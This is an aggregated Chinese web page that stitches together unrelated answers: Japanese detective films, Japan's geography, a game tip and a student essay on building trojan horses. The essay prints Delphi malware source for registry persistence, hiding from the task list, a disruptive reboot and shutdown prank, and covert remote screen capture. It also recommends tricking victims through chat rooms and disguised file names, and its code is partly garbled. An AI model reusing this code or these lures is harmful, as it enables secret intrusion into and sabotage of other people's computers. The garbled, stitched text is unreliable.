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黑潮脚本

发布时间: 2025-05-27 20:22:29

‘壹’ 问两部有些年头的日本电影名字

日本电影《刑事物语》系列,在国内分别被翻译成《片山刑警在海岛》《片山刑警在山城》《片山刑警在苹果园》(刑警情仇),后来中央电视台6套播过《片山刑警黑潮之歌》。87年后曾经在国内许多大城市电影院里放映过,电视上也播出过该系列。

引进及译配情况:

1987年,片山刑警在海岛(伍经纬)
1988年,片山刑警在山城(杨晓)
1990年,片山刑警在酒吧(杨晓)
1993年,刑警情仇(片山刑警在果园)(程玉珠)

《片山刑警在海岛》

日本彩色故事片
上海电影译制厂译制
翻译:周平 译制导演:杨文元
片山(伍经纬配音) 刑警村上(杨晓配音)
罪犯仁科高志(盖文源配音) 木崎(童自荣配音)
老板娘玉江(曹雷配音) 蒙面人(程玉珠配音)
旅店女主人松树清子(刘广宁配音) 清子女儿海子(狄菲菲配音)
黑濑派出所警长(毕克配音)

《片山刑警在酒吧 》(1985年出品)
(日本东宝电影公司、电影旬报社联合摄制、上海电影译制厂译制 中国电影发行放映公司发行)
主演:武田铁矢 Taketa Tetsuya,铃木保奈美/Honami Suzukip
上海电影译制厂译制(90、9)
配音:杨晓、狄菲菲、沈晓谦、刘广宁、王玮、尚华
影片塑造了一位带有喜剧色彩的刑警片山,充分地夸张突出他爱钻牛角尖的性格,并造成一系滑稽可笑的表现。这又是一部带有淡淡的苦涩味的人情剧。导演恰到好处地抓住片山刑警与他周围的人总是处于一种滑稽可笑而又十分奇妙的紧张状态中的细节加以渲染,才使影片获得了成功。

《片山刑警在山城》
(刑事物语5——山神之诗 / 刑事物语5 やまびこの诗)
(VHS录像带封面)
日本东宝电影公司、电影旬报社 1987.05.16
制作 ................ 黒井和男
脚本 ................ 片山苍 榎本修 鸟居钦圭
监督 ................ 杉村六郎
演员:
片山元 ................ 武田鉄矢
真咲直子 ................ 贺来千香子
真咲真子 ................ 铃木保奈美
署长板垣 ................ 井川比佐志
刑事植田 ................ 村井国夫
课长铃木 ................ 木村元
人质犯 ................ 石仓三郎
人质の女性 ................片桐はいり
大神和人 ................ 野村将希
狙撃手 ................ 江夏豊
大神真之助 ................小林桂树
上海电影译制厂译制(90、2)
配音:杨晓、刘广宁、丁建华、乔榛、翁振新、沈晓谦、童自荣

相关链接:
时下流行武田铁矢着名的《101次求婚》,而中国观众最早知道他还是这个《片山刑警》系列电影。说到男主角,当然要提一提《101次求婚》。他那么衰的男人,却有那么浪漫的爱情,那么轰轰烈烈,刻骨铭心。

男主角拿着衣架表演中国功夫的镜头现在还记忆尤新。片尾非常好听,有种独特的沧桑韵味,那就是武田铁矢(主音),以及中牟田俊男(副音+吉他),千叶和臣(副音+贝司)在72年结成的组合:海援队。82年的时候解散了,后来94年的时候又重组。这片子的日本日语原文是《刑事物语》,螳螂拳最高!!

‘贰’ 电脑网络中的“后门”是什么意思

电脑网络中的“后门”即是网络的漏洞

一、问题的提出
"The Internet is now more like an unlocked diary,with millions of consumers divulging marketable details of their personal lives,from where they live to what they eat for dinner."这是着名匿名服务器站点Anonymizer上曾有过的一段话。是的,在不知不觉中,E时代已经到来,网络给我们的生活增添了绚丽与多彩。但是,在这五彩缤纷的世界下面,潜伏着一股黑潮暗流--黑客(HACKER)。这个名词越来越引起世人的关注,而且影响越来越大,关于黑客事件的报道也越来越多。黑客是伴随网络产生成长的,是指那些对电脑和网络有狂热兴趣的人,他们不断的研究电脑和网络知识,发现电脑和网络中的漏洞,喜欢挑战高难度的网络系统,千方百计的寻找网络中的大小漏洞,然后向网络管理员提出解决漏洞的建议。真正的黑客大多是赋有正义感的。他们不会恶意侵入他人系统,并且破坏系统程序和数据。但有一些人特别崇拜黑客,喜欢利用电脑网络四处捣乱,到处寻找黑客软件,然后到处搞破坏,这类人应该是网络上最危险的家伙。现在的媒体把这类人是黑客混为一谈,"黑客"一词也因此成了贬义词。
现在的黑客软件十分多,Back Orific、冰河、YAI到处都有。接触网络后,我经常想:黑客软件到底是如何编制的?我能编一个黑客软件多好呀!这到不是想干坏事,因为在网络机房上课时,用一些黑客软件可以作为控制工具来控制学员的机器(如:冰河)。可见黑客软件本身不象病毒是个不好的东西,是可以用在正路上的。经过我的摸索,初步掌握了一些设计方法,主要是特洛伊木马程序。本次毕业设计,我设计一个模拟黑客入侵程序,一个恶作剧程序,一个可以截获网络上别人在机器上干些什么的程序,几个程序纯属用于实验,没有什么其它目的。在这里向各位老师汇报一下。程序设计的语言用的是PASCAL,用DELPHI 4进行编译

二、"特洛伊木马"如何入侵系统
一个完整的"特洛伊木马"一般分为两个部分:一个是客户服务程序(Client),用它来控制已经打开"后门"的机器;另一个是"后门"程序,用它来开放某台机器。假设我们想控制某台电脑,那么我们通过一些手段来把"后门"程序传到该电脑中并使其运行,这样该电脑就变成了一台特殊的ftp服务器。然后我们使用Client程序就可以控制该电脑了。当然,后门程序如果不运行也就无法发挥作用。因此,就要"诱骗"别人使用后门程序。如果是朋友或熟人,利用他们的信任让他运行就行了;要是陌生人,可以在聊天室中和他们套近乎,一旦取得信任,把程序发给他们,诱骗其运行。当然,程序要隐蔽一些,例如可以把后门程序改名,变为README之类,或改变后缀,变成GIF、BMP等,当他们双击这些文件后就上了"贼船"了。也可以用WINZIP的把后门程序和一些东西制作成一个自解压包,然后利用设定解压后自动运行SETUP程序功能来运行指定的后门程序。总之,要利用一切手段使人家运行后门程序。
木马程序运行后,会通过不同的方式修改系统,以便以后启动系统后自动运行木马。修改方法一般是通过修改注册表:
Hkey_local_machine \Software\Microsoft\Windows\CurrentVersion\Run和
Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\RunServices中的项目是在系统开机时自动加载的,我们可以在这两添加键值,达到自动启动的目的。以下的这段代码可以修改注册表,并调用API函数判断系统目录,复制文件到其下,以实行入侵系统的目的:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,registry;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procere Button1Click(Sender: TObject);
procere Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procere TForm1.Button1Click(Sender: TObject);
var
regf:tregistry;
sysdir:pchar;
temp:string;
begin
getmem(sysdir,256);
getsystemdirectory(sysdir,128);
temp:=sysdir+'\client.exe';
freemem(sysdir,256);
regf:=tregistry.create;
regf.rootkey:=hkey_local_machine;
regf.openkey('software\microsoft\windows\currentversion\run',true);
regf.writestring(' ',temp);
regf.free;
file(pchar('hacker.exe'),pchar(temp),true);
end;

procere TForm1.Button2Click(Sender: TObject);
begin
close;
end;
end.

也有些高明的程序可以感染系统文件,附着在这些程序文件中,以达到其目的。我还没有搞清楚这是怎样办到的。
在Windows中按下Ctrl+Alt+Del可以显示当前运行的程序,这样一来,我们的木马程序不是要露馅了吗?以下这段汇编代码可以很方便的嵌入DELPHI或C++中,让别人看不到你的程序,可以很好的隐藏:
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
为什么这段汇编代码可以隐藏程序呢?据资料分析:在WINDOWS 9X加载应用程序时,FS指向的段就是类似于DOS应用程序的PSP,里面保存着一些有关应用程序重要数据,按下Ctrl+Alt+Del后,对于一个应用程序,若没有可显示的ENABLE窗口的名字,则系统要检查上面程序段中的特定双字是不是10800000h,如果是就不显示这个应用程序的可执行文件的名字。
下面是一个恶作剧的程序,入侵计算机后,每次开机后,随机出现鼠标乱跑并发出怪叫、热启动、强行关机的现象,让你无法进入WINDOWS 9X。对于一般的计算机用户来说,因为找不出这个程序在何处,所以只能格式化系统区,重新安装系统。

program hacker;
uses
windows;
var temp:integer;
begin
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
randomize;
temp:=random(3);
if temp=0 then
while(true) do
begin
messagebeep(0);
SetCursorPos (random(640),random(480));
end
else if temp=1 then
ExitWindowsEx(EWX_REBOOT,0)
else ExitWindowsEx(EWX_SHUTDOWN,0);
end.

有的木马为了防止发现后被清除,在启动时会产生一个备份,一般是感染WINDOWS的系统文件,当木马被发现并清除后,备份会自动激活,使你依然处于远程黑手的控制。比如当前国最盛行的"冰河",首先会修改注册表的启动项目,将自己复制两份到系统中,分别为KERNEL32.EXE和SYSEXPLE.EXE,并且修改TXT文件的打开方式,一旦KERNEL32.EXE被删除,那么当打开一个TXT文件时,SYSEXPLE.EXE将再产生一个KERNEL32.EXE文件。
另外,有的木马还能在运行后修改文件名,或者复制感染系统后,进行自我销毁,使用户很难进行查找。

三、木马的种类
1、破坏型
惟一的功能就是破坏并且删除文件,可以自动的删除电脑上的DLL、INI、EXE文件。
2、密码发送型
可以找到隐藏密码并把它们发送到指定的信箱。有人喜欢把自己的各种密码以文件的形式存放在计算机中,认为这样方便;还有人喜欢用WINDOWS提供的密码记忆功能,这样就可以不必每次都输入密码了。许多黑客软件可以寻找到这些文件,把它们送到黑客手中。也有些黑客软件长期潜伏,记录操作者的键盘操作,从中寻找有用的密码。
在这里提醒一下,不要认为自己在文档中加了密码而把重要的保密文件存在公用计算机中,那你就大错特错了。别有用心的人完全可以用穷举法暴力破译你的密码。利用WINDOWS API函数EnumWindows和EnumChildWindows对当前运行的所有程序的所有窗口(包括控件)进行遍历,通过窗口标题查找密码输入和出确认重新输入窗口,通过按钮标题查找我们应该单击的按钮,通过ES_PASSWORD查找我们需要键入的密码窗口。向密码输入窗口发送WM_SETTEXT消息模拟输入密码,向按钮窗口发送WM_COMMAND消息模拟单击。在破解过程中,把密码保存在一个文件中,以便在下一个序列的密码再次进行穷举或多部机器同时进行分工穷举,直到找到密码为止。此类程序在黑客网站上唾手可得,精通程序设计的人,完全可以自编一个。
3、远程访问
最广泛的是特洛伊马,只需有人运行了服务端程序,如果客户知道了服务端的IP地址,就可以实现远程控制。以下的程序可以实现观察"受害者"正在干什么,当然这个程序完全可以用在正道上的,比如监视学生机的操作。
程序中用的UDP(User Datagram Protocol,用户报文协议)是因特网上广泛采用的通信协议之一。与TCP协议不同,它是一种非连接的传输协议,没有确认机制,可靠性不如TCP,但它的效率却比TCP高,用于远程屏幕监视还是比较适合的。它不区分服务器端和客户端,只区分发送端和接收端,编程上较为简单,故选用了UDP协议。本程序中用了DELPHI提供的TNMUDP控件。

受控机程序部分:
让控件CUDP监视受控机的1111端口,当有数据发送到该口时,触发控件CUDP的ONDATARECEIVED事件;REMOTEPORT属性设为2222,当控件CUDP发送数据时,将数据发送到主控机的2222口。

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
NMUDP, ComCtrls;

type
Tclient = class(TForm)
cudp: TNMUDP;
Animate1: TAnimate;
procere FormCreate(Sender: TObject);
procere FormDestroy(Sender: TObject);
procere cudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations }
public
{ Public declarations }
end;

var
client: Tclient;

implementation
const bufsize=2048;//发送每一批数据的缓冲区大小
var
bmpstream:tmemorystream;
leftsize:longint;
{$R *.DFM}

procere screencap(leftpos,toppos,rightpos,bottompos:integer);
var
recwidth,recheight:integer;
sourcedc,destdc,bhandle:integer;
bitmap:Tbitmap;
begin
recwidth:=rightpos-leftpos;
recheight:=bottompos-toppos;
sourcedc:=createdc('display','','',nil);
destdc:=createcompatibledc(sourcedc);
bhandle:=createcompatiblebitmap(sourcedc,recwidth,recheight);
selectobject(destdc,bhandle);
bitblt(destdc,0,0,recwidth,recheight,sourcedc,leftpos,toppos,src);
bitmap:=tbitmap.Create;
bitmap.Handle:=bhandle;
bitmap.SaveToStream(bmpstream);
bmpstream.Position:=0;
leftsize:=bmpstream.Size;
bitmap.Free;
deletedc(destdc);
releasedc(bhandle,sourcedc);
end;

procere Tclient.FormCreate(Sender: TObject);
begin
bmpstream:=tmemorystream.create;
end;

procere Tclient.FormDestroy(Sender: TObject);
begin
bmpstream.free;
end;

procere Tclient.cudpDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
ctrlcode:array[0..29] of char;
buf:array[0..bufsize-1] of char;
tmpstr:string;
sendsize,leftpos,toppos,rightpos,bottompos:integer;
begin
cudp.ReadBuffer(ctrlcode,numberbytes);//读取控制码
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]='show'
then
begin//控制码前4位为"SHOW"表示主控机发出了截屏指令
if bmpstream.Size=0 then//没有数据可发,必须截屏生成数据
begin tmpstr:=strpas(ctrlcode);
tmpstr:=(tmpstr,5,length(tmpstr)-4);
leftpos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
toppos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
rightpos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
bottompos:=strtoint((tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr)));
screencap(leftpos,toppos,rightpos,bottompos);//调用截屏函数
end;
if leftsize>bufsize then sendsize:=bufsize
else sendsize:=leftsize;
bmpstream.ReadBuffer(buf,sendsize);
leftsize:=leftsize-sendsize;
if leftsize=0 then bmpstream.Clear;
cudp.RemoteHost:=fromip;//FROMIP为主控机IP地址
cudp.SendBuffer(buf,sendsize);//将数据发到主控机的2222端口
end;
end;
end.

主控机程序部分:
让控件SUDP监视主控机的2222端口,当有数据发送到该口时,触发SUDP的ONDATARECEIVED事件;REMOTEPORT属性设为1111,当控件SUDP发送数据时,将数据发到受控机的1111口。

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, Buttons, NMUDP;

type
Tsever = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
BitBtn1: TBitBtn;
Image1: TImage;
BitBtn2: TBitBtn;
sudp: TNMUDP;
procere BitBtn2Click(Sender: TObject);
procere FormCreate(Sender: TObject);
procere FormDestroy(Sender: TObject);
procere BitBtn1Click(Sender: TObject);
procere sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations }
public
{ Public declarations }
end;

var
sever: Tsever;

implementation
const bufsize=2048;
var
rsltstream,tmpstream:tmemorystream;
{$R *.DFM}

procere Tsever.BitBtn2Click(Sender: TObject);
begin
close;
end;

procere Tsever.FormCreate(Sender: TObject);
begin
rsltstream:=tmemorystream.create;
tmpstream:=tmemorystream.create;
end;

procere Tsever.FormDestroy(Sender: TObject);
begin
rsltstream.free;
tmpstream.free;
end;

procere Tsever.BitBtn1Click(Sender: TObject);
var
reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strp(reqcode,reqcodestr);
tmpstream.Clear;
rsltstream.Clear;
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;

procere Tsever.sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
var reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strp(reqcode,reqcodestr);
sudp.ReadStream(tmpstream);
rsltstream.CopyFrom(tmpstream,numberbytes);
if numberbytes<bufsize then
begin
rsltstream.Position:=0;
image1.Picture.Bitmap.LoadFromStream(rsltstream);
tmpstream.Clear;
rsltstream.Clear;
end
else
begin
tmpstream.Clear;
reqcode:='show';
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;
end;
end.

四、如何预防黑客
黑客程序虽然破坏大,但不是不能防止的。
1、处理好你的密码
我们一般是用账号和密码来上网的,密码的设置无疑是十分讲求技巧的,许多人的安全防范意识差,不注意密码的设置,造成自己的账号被盗用。如今的黑客软件都是挂上密码字典,然后用穷举法进行破解,密码太简单,那么破解的可能性就大了。以下是一些注意事项。
⑴ 密码不可和账号相同,这是最容易被猜到的了。
⑵ 经常更改密码,拿到新账号后要立即更改密码,不要放久了。
⑶ 密码最好多于8个字符,字符越长,破解难度越大。例如WORD文档的密码大于8位后,目前的破解软件几乎无法攻破。另外,最好在密码中加入一些控制键,增加破译难度。千万不可用单一的字母或数字。
⑷ 有人喜欢用自己的生日、电话、身份证号码等作为密码,你不要这样做。
⑸ 密码尽量不要记显眼的纸张上,更不能保存在计算机中,不要贪图一时方便,用WINDOWS提供的保存密码功能。
2、不要运行不明真相的程序
无论都高明的黑客程序,只要你不去运行它,就无法害到你。所以,不可相信网友的话,不要去运行他提供的程序;不要随意去打开别人寄来的附件,无论他把附件中的图片或影片吹得如何好看;要到大的、着名的网站去下载软件,千万不要到不明真象的个人网页下载,因为在那儿你可能下载的病毒和黑客之手;如果你十分羡慕黑客,也请你不要下载所谓的黑客软件,否则你没害到别人,自己反被害了;如果你的机器上有防火墙,在上网时一定要打开,不要怕麻烦。
3、经常检查系统信息
上网过程中,突然觉得计算机工作不对劲时,仿佛感觉有人在遥远的地方遥控你。这时,你必须及时停止手中工作,运行"附件→系统工具→系统信息",在任务列表中寻找自己不熟悉的或者自己并没有运行的程序,一旦找到程序后应立即终止它的运行,以防后患。
4、最好不去聊天室
我一直认为聊天室没有什么意思,特别对于计算机专业人员,聊天只是浪费时间和金钱,有些恶意的破坏者利用网上聊天室的漏洞干坏事,例如聊天室支持JAVA、HTML等功能,然而,这小小的JAVA也隐藏"杀机",他可以发给你一个足以让你的机器当机的HTML语句。因为这些语句是不会在聊天室显示出来的,所以你被暗算了可能还不知道。防治的办法是在你的浏览器中关闭你的JAVA脚本。想聊天的,在公共机房聊聊算了,不能在自己的机器上聊天。

‘叁’ 简述日本的人文地理情况

日本国是亚洲东部太平洋上的一个群岛国家。西隔东海、黄海、朝鲜海峡、日本海同中国、朝鲜、俄罗斯相望,东临太平洋。领土由本州、北海道、九州、四国四个大岛和3900多个小岛组成,面积37. 7 7 万平方千米。本州岛是日本最重要的岛屿,面积22. 74万多平方千米,约占全国总面积的60%。海岸线总长将近3万千米。南北长约3000公里,山脉纵贯列岛中央 ,短而湍急的河流注入周围大海。山地和丘陵地带占国土总面积的70%左右,人口集中在河流周围及沿岸平地等有限地带。火山多,地震更多。因为山多平地少,日本的隧道技术、农业技术、灌溉技术得以提高。日本火山总共约有80来座,最高峰富士山(3776米)也是火山,行政区有47个都道府县,下面分设市郡区町村。

日本自然环境

由于褶皱和断层作用剧烈,加之外力作用的长期侵蚀切割,地形显得十分破碎,海岸曲折多港湾。山地约占全国面积的76%。北海道和本州北部的山脉多为南北走向,四国和本州南部的山脉成东西走向,两者相汇于本州中部,称“中央山结“,为全国地势最高地区,其中有着名的富士山。

富士山海拔3776米,是一座活火山,也是全国最高峰。富士山最近一次爆发发生在1707年,现在仍有喷气现象,其山体呈标准圆锥形,山顶终年积雪,有温泉、瀑布,北有富士五湖,风景优美,日本人称之为“圣岳”。

平原仅占全国面积24%,大多零星分布在大河的下游和沿海地区。全国最大而着名的平原是东京附近的关东平原,面积15770平方千米;其次是名古屋附近的浓尾平原,大阪、京都附近的畿内平原等。日本位于太平洋西岸火山地震带,是一个多火山的国家,全境有火山200多座,其中活火山占1/3。地震频繁,全国平均每天发生约四次,有“地震国”之称。1923年9月1日的关东大地震,震毁东京房屋的73%和横滨房屋的96%,死亡达15万人。和火山活动有关的是全国温泉遍布,共有温泉约1200处。河流短小,水量充沛,水势湍急,水力资源丰富,但不利航行。其中以信浓川最长,长367千米;以利根川流域面积最大,为16840平方千米。湖泊较多,但多为小而深的火口湖,分布于高山上,滨海则有许多深度不大的泻湖。全国最大的湖泊琵琶湖是构造湖,面积686平方千米,湖面海拔85米,最深103米。

日本群岛四周临海,除东北部海岸外,均被来自热带太平洋的暖流(黑潮)环绕,气候受到海洋的调节,形成较为温和湿润的海洋性季风气候,比大陆同纬度地区温和,降水也较丰富,年平均降水量绝大部分地区为1000-2000毫米。夏季盛行东南风,东部沿海6--7月间阴雨连绵;冬季西北风由大陆经日本海吹来 天气寒冷,北部多降雪。日本南北延伸约2400千米,各地气候的差异很大,大致北纬35度以南属季风型亚热带森林气候;本州北部及北海道属季风型温带针叶林气候;其余广大地区属季风型温带阔叶林气候。位于中部的东京,最冷月(1月)平均气温摄氏6 度,最热月(8月)平均气温摄氏25度,年平均降水量1500多毫米。九州南部的鹿儿岛,最冷月(l月)平均气温摄氏7度,最热月(8月)平均气温摄氏27度,年平均降水量达2000毫米以上。北海道的札幌,最冷月(l月)平均气温在摄氏-6度以下,最热月(8月)平均气温摄氏20度以上;根室年平均降水量为981毫米。每年8-10月间,日本西部和南部常遭台风袭击,往往造成灾害。

日本气候

春夏秋冬四季分明,终年均有降雨,特别是初夏和秋天雨量较多。日本的绝大部分工区属于温带,适宜水稻栽培。由于国土狭窄且南北方向延伸很长,所以南北气候完全不同。四季的特点春-树木花草同时开始披上新装。一到樱花盛开的时候。人们就切切实实地感到了春天的来临。夏-受南海海面形成的高气压的影响,闷热的晴天较多。台风7月至10月间在菲律宾近海形成,由此产生的暴风雨给日本各地带来相当大的灾害。秋-树叶开始由绿色变为红色、黄色。冬-北方吹来的季节风,造成日本海方面持续的大雪和太平洋方面持续的干燥晴天。

日本重要城市

东京:首都。位于关东平原南端,东京湾的西北岸。人口8 4 0 万,包括郊区人口为1 1 8 9 万多,是日本政治、经济、文化中心。工业以印刷、橡胶制品、皮革制品、精密仪器等最发达。对外贸易多经横滨。

大阪:日本第二大城市,人口2 6 4 万。为大阪工业区的核心,以机器、化学工业为主,造船、石油化学工业也很发达。附近有卫星城1 0 余座。名古屋:人口2 0 9 万。工业发达,年产值仅次于东京和大阪。毛纺织和陶瓷工业居全国首位。

横滨:人口2 7 7 万。日本最大海港之一,是东京的外港。对外贸易额约占全国1 /4 。 京都:人口1 4 8 万。日本的故都和着名的文化、游览和工业城市。以出产丝织品、艺术陶瓷器及其它手工艺品着名。

神户:人口1 3 6 万。是日本最大海港之一,是大阪的外港。对外贸易额约占全国3 /1 0 。工业以造船为主。

北九州:人口1 0 6 万。扼下关海峡,由门司、八幡、小仓、若松、户(火田)等市镇合并而成,为九州北部重要的工业区和交通中心,门司有海底隧道(长3 4 9 0 米)与对岸下关相通。

横须贺:人口4 2 万。位于东京湾西南岸的三浦半岛,扼东京湾口。工业以船舰制造为主,还有机械制造、食品加工等。

札幌:人口为1 6 2 万。北海道的政治、文化中心和铁路枢纽。工业以食品加工和印刷为主。城西3 5 千米的小樽为其外港。

日本交通

交通运输发达,已形成了以海运为主的海陆空密切结合的现代化交通运输体系。拥有强大的船队,与世界各地有航线相通。横滨、神户、东京、大阪、北九州、名古屋是重要港口。铁路全长为46000 多千米,其中电气化高速铁路2000 千米,主要铁路干线多分布在沿海一带。全国有公 路为110 多万千米。现代化高速公路4900 千米。飞机--国内航空网连结各主要城市。铁道--日本铁道全长2万7千公里(本州与北海道、四国、九州之间由桥梁或海底隧道连结),是最方便、最有效而且安全的交通手段。JR网络联结了几乎所有的城市。在大城市及游览地,私铁服务网络与JR平行或以辅助的形式运行。JR--自1872年新桥-横滨之间日本第一条铁道通车以来,114年间一直是日本铁道中心的JNR(日本国有铁道)于1987年4月衽民营化,分割为JR东日本、JR西日本等6家客运公司及货运铁道公司。新干线--以安全稳定高速大量运送旅客为目的,于1964年开始运营。现在运行有时速高达270公里的新干线,连结东京-大阪仅需2个半小时。私铁--现有132家铁道公司,与JR一起形成了全国的铁道网络系统地铁--在东京、大阪、名古屋、横滨、神户、京都、札幌、福冈、仙台九个城市有地铁运行,是城市中最为可靠便宜的交通手段。公路和汽车--公路总长约112万公里,共有汽车5860万台,仅次于美国,居世界第二位。

民族和语言

日本语言 语言只有日语,但方言很多。东北、九州等地的方言很难懂。不过,完全可以用标准语进行沟通。文字使用汉字和假名。汉字是从中国传入的,假名(平假名和片假名)自汉字派生而来。用片假名表示的主要是外来语。

日本传统体育和艺术 日本传统体育 相扑、柔道、剑道、射箭、空手道等。 日本传统艺术 歌舞伎、能三弦、琴等

歌舞伎(Kabuki) 歌舞伎是与能乐、狂言一起保留至今的古典剧种,它产生于日本江户时代初期,并在江户时代中期形成。歌舞伎中不用女演员,女角由叫做“女形”(Oyama)的男演员扮演。随着剧场的发展,舞台上使用了“转台”与舞台能从地下推上的设备,发展成出色的脚本与杰出的演技。以江户、大阪、京都三市为中心,作为市民生活中不可缺少的文化而成为一种市民观赏的表演。题材涉及各个方面,既有以古典与传说等为基础的历史小说,也有取材于现实生活的世态剧、以舞蹈为主的歌舞表演。其宗旨是宣传忠孝仁义等道义,对一般市民进行勤善惩恶的道德教育。而且,名演员的服装与道具等也成了人们追求的对象。根据传统,演员是受歧视的阶层,但是在江户时代,无论在经济方面,还是社会方面,都是作为有名人物而对待。演员之家为世袭制,现在的市川座、尾上座、市村座等,就是保持父子代代歌舞伎演员相继的。

花道--插花(kebana) “生花”始于16世纪的插花艺术。它是把中世纪僧侣向佛像供花这一仪式吸收到平民生活而形成的。插花和茗茶一起作为日本独特的传统文化广为普及。花道有各种流派,均确立有宗主、宗师、弟子的等级制度,形成了最古老的和富有传统的社会模式。

茶道 茶是中世纪从中国传入日本的饮料。日本茶不经发酵,让其自然干燥即成。研成粉末的茶称为“末茶”。从室町时代起就流行喝末茶的各种礼仪和方法,不仅茶室和茶杯十分考究,品茶的设施和工具也颇有艺术性。

日本人行为方式和弹子房

日本居民 12496万,城市人口占76%。人口分布极不平衡,多数密集于各岛沿海平原和沿河地带,以东京、大阪、名古屋三大城市为中心的地区集中了全国人口的一半。人口稀少地区为北海道、山阴和四国部分地区,除北海道和北方领土有少数阿伊努人外,几乎全是大和民族 。大多数居民信神道和佛教。日语为国语,阿伊努人通用阿伊努语。外侨以朝鲜人和华侨为多。

日本人的行为方式 日本人一般不采取与他人相差太远的行动。日本人一旦几个人聚在一起,就会自然而然地按年龄、社会地位排出相互间的顺序,并影响自己的行动。需要发言或行动时,日本人会考虑到对方的情绪、立场、因此不会将自己的意见强加给对方。对是与否的表示暧昧。即使是说一个设想,也要先做一段很长很长的理由说明,以免刺激对方。日本人几乎都认为自己属于中流阶层。

弹子房(Pachinko) “Pachinko”是一种用作游戏的机器,在一个立式的带有许多小孔的盒子里,游戏者拨动右下方的扳手,弹击直径1公分左右的铁球,如果铁球顺利进入某一个孔洞,便会滚出十几个小球,小球多到一定数量便可换取金钱。目前,日本热衷于打Pachinko的人很多。

重要节日

1月1日 元旦,是新的一年中最初的一天,也是祈求在新的一年能幸运、幸福,和拟定这一年的计划的日子,这一天也到神社或附近的寺庙去做第一次的参拜。

1月15日 成人节。是庆祝年满20岁的青年男女成人自立的节日,有各市、镇、村的行政机关举行成人仪式的典礼。

2月11日 建国纪念日。根据日本最早的一部史书《日本书纪》中的记载,这一天是为了要追忆当初建国不易,以及培养爱国情操,而以此为宗旨,于1966年追加的。在日本国内,目前仍有人反对所谓的“建国纪念日”。

3月21日 春分之日。即“春之彼岸”的中心日。是扫墓、祭拜祖先的日子。

5月3日 宪法纪念日。是为了纪念1947年5月3日的现行宪法制定之日。

5月5日 孩童节。本来是庆祝男孩的端午节,庆祝小孩成长,祈求幸福之日。

9月15日 敬老日。以尊敬老人、感谢老人为宗旨,在1966年补制的节日。

9月23日 秋分日。为秋之彼岸的中心日。和春分一样,要扫墓及祭拜祖先灵位。

10月10日 体育节。纪念1964年在东京举行的奥林匹克运动会开幕式的日子。这是接近体育、认识健康重要性的日子。1966年补定。

11月3日 文化节。为纪念1946年11月3日颁布日本现行宪法,并以培养尊重文化的意识而制定的节日。

11月23日 劳动感谢日。此时正值收获的季节。为了表示对收获的谢意,重新广泛认识劳动的喜悦,而以此制定了以感谢劳动为宗旨的节日。

国庆日12月23日。 樱花节3-4月。 与我国建交日:1972年9月29日。

货币:日元。

时差:比格林尼治时间早9小时;比北京时间早1小时。

国花:樱花。

国鸟:绿雉。

国名释义:日出之国。 誉称:樱花之国(樱花有300 多个品种)、火山地震之邦(有200 多座火山,活火山占1/4 )。

民俗:传统服装为和服。

‘肆’ 魔兽争霸逃学大乱斗3.3攻略

1、到地图中间先去杀班主任(白猪)拿到钥匙。

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